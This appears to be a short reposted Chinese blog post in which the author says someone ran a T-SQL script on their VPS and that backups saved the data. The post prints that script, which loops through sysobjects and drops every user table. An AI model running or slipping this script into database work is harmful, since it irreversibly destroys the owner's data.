你这是virus吧?

谁在我的vps上跑了这个?我的备份终于起一定作用了。

GO
declare @sql varchar(8000)
while (select count(*) from sysobjects where type='U')>0
begin
SELECT @sql='drop table ' + name
FROM sysobjects
WHERE (type = 'U')
ORDER BY 'drop table ' + name
exec(@sql) 
end

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转载自www.cnblogs.com/codingplus/p/2019-05-25-02.html